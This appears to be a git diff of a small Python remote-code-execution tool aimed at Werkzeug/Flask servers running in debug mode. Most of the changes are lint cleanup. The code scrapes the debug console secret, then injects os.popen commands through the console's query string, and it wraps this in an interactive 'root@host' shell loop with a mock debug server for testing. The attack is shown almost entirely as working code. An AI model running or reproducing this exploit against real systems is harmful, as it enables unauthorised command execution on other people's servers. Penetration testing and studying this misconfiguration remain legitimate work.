diff --git a/.pylintrc b/.pylintrc
new file mode 100644
index 0000000..7cc6bb5
--- /dev/null
+++ b/.pylintrc
@@ -0,0 +1,3 @@
+[FORMAT]
+indent-string=\t
+disable=E0402,E0401
\ No newline at end of file
diff --git a/main.py b/main.py
index 0f3c60d..eff5657 100644
--- a/main.py
+++ b/main.py
@@ -1,8 +1,9 @@
 #!/usr/bin/env python
-from sys import argv
+'''werkzeug debug-enabled rce tool'''
+from sys import argv, exit as sysexit
 from werkzeug_rce import DebugRce
 
-if __name__=='__main__':
+if __name__ == '__main__':
 	d = DebugRce(argv[1])
 	d.exec(argv[2])
 
@@ -11,6 +12,6 @@
 			cmd = input(f'root@{argv[1]}:~$ ')
 			for line in d.exec(cmd):
 				print(line)
-		except:
+		except KeyboardInterrupt:
 			print('\nQuiting!')
-			exit()
+			sysexit()
diff --git a/test/mock_flask.py b/test/mock_flask.py
index 255184b..ce61cfa 100644
--- a/test/mock_flask.py
+++ b/test/mock_flask.py
@@ -1,9 +1,11 @@
+'''This file is used to create a Flask debug instance for testing'''
 from flask import Flask
 
 app = Flask(__name__)
 
 @app.route('/')
 def main():
-	raise
+	'''Empty method for root route'''
+	return None
 
 app.run("127.0.0.1", debug=True, port=80)
diff --git a/werkzeug_rce.py b/werkzeug_rce.py
index e8c2048..2244f7b 100644
--- a/werkzeug_rce.py
+++ b/werkzeug_rce.py
@@ -1,12 +1,23 @@
+'''Parser class'''
 from requests_html import HTMLSession
 
 class DebugRce:
-	def __init__(self, URL) -> None:
-		self.URL = URL
+	'''RCE class'''
+	def __init__(self, url) -> None:
+		'''init method'''
+		self.url = url
 		self.req = HTMLSession()
-		self.secret = self.req.get(f'http://{self.URL}/console').html.find('script')[1].text.split(' ')[-1][1:-2]
+		self.secret = self.req.get(
+			f'http://{self.url}/console').html.find('script')[1].text.split(' ')[-1][1:-2]
 
 	def exec(self, cmd) -> list:
-		self.cmd = f'''__import__('os').popen('{cmd}').read();'''
-		self.res = self.req.get(f'http://{self.URL}/console?__debugger__=yes&cmd={self.cmd}&frm=0&s={self.secret}')
-		return self.res.html.text[1:-1].split('\\n')[0:-1]
+		'''.exec() method used to execute arbitrary comands'''
+
+		cmd = f'''__import__('os').popen('{cmd}').read();'''
+		res = self.req.get(
+			f'http://{self.url}/console?__debugger__=yes&cmd={cmd}&frm=0&s={self.secret}')
+		return res.html.text[1:-1].split('\\n')[0:-1]
+
+	def show_url(self):
+		'''.show_url() method used to show URL'''
+		return self.url